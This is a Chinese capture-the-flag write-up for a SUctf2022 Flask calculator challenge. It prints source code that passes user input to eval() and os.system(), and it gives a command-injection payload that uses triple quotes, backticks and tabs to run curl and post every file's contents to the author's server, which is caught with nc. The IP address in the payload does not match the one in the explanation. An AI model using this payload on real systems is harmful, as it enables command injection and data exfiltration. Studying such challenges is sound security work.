周末第一次组队和大佬们打比赛,web题只做了一道签到题。之后从11点开始坐牢。后面两道web题很难,都是知识盲区。
题目给了源码,是个用flask框架写的一个计算器程序,刚开始以为是SSTI模板注入,后来发现不是。
先看下源码
代码语言:javascript复制#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time
app=Flask(__name__)
def waf(s):
blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag= False
print(no)
break
return flag
@app.route("/")
def index():
"欢迎来到SUctf2022"
return render_template("index.html")
@app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"
if __name__ == "__main__":
app.run(host='0.0.0.0',port=5000)
waf过滤了很多,基本不可能模板注入。但这里注意这几行代码
代码语言:javascript复制def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
if waf(num):
try:
data = eval(num)
os.system(log)# 存在命令注入注入点
except:
pass
return str(data)
else:
return "waf!!"
这里的 os.system(log)
会执行log日志中的命令,将日志内容写入 ./tmp/log.txt
中。
- ps:注意这里的 /tmp/log.txt 并不能访问到,因为题中没有启用这个
@app.route("/tmp/log.txt",methods=['GET'])
路由。(基础不牢的后果,要抽时间补一补flask框架的基础了)。
所以这里从在命令注入,由于题目唯一能传参的地方是这个num,所以首先要绕过这个 eval(num)
,不能让它报错。这里就要用python的特性了。
举个栗子:
代码语言:javascript复制"print('test')"
'''print('test')'''
"""print('test')"""
str0 = "'''print('test')'''"
str1 = '''print('test')'''
print(str1)
print(str0)
eval(str1)
eval(str0)
运行结果如下:
python中的引号包起来的字符串如果没有赋值给变量的话,它就是个注释。所以python中的多行注释写成
代码语言:javascript复制'''
这是一个
注释
'''
由于num是字符串类型,那么可以构造 三个单引号的字符串 num='''some code'''
,这样 eval(num)
实际运行的就是注释,不会报错,同时这里的几个单引号还为后面的命令注入提供了条件。
那么可以构造payload(这里的ip是自己服务器的ip,注意把云服务器的端口打开)
代码语言:javascript复制'''1'`curl -d `cat *` 144.152.66.124:8866`'2'''
#urlencode后为
'''1'`curl -d `cat *` 144.152.66.124:8866`'2'''
这里由于空格被过滤了,用tab键代替(urlencode为 )。
简单解释一下这个payload
三个单引号绕过eval()不用说了。拼接好log后调用os.system(log)
,就是执行
echo '''1'`curl -d `cat *` 174.123.96.103:8866`'2'''> ./tmp/log.txt
shell中单引号两两匹配闭合成功,有反引号优先执行反引号的命令,利用curl 发包到自己的服务器从而拿到flag。
打开服务器用 nc 监听自己开启的端口
可以直接输入
得到结果
小结一下:这里其实挺考验个人的python和linux相关基础知识的。像curl和nc这样的工具以后要加强学习。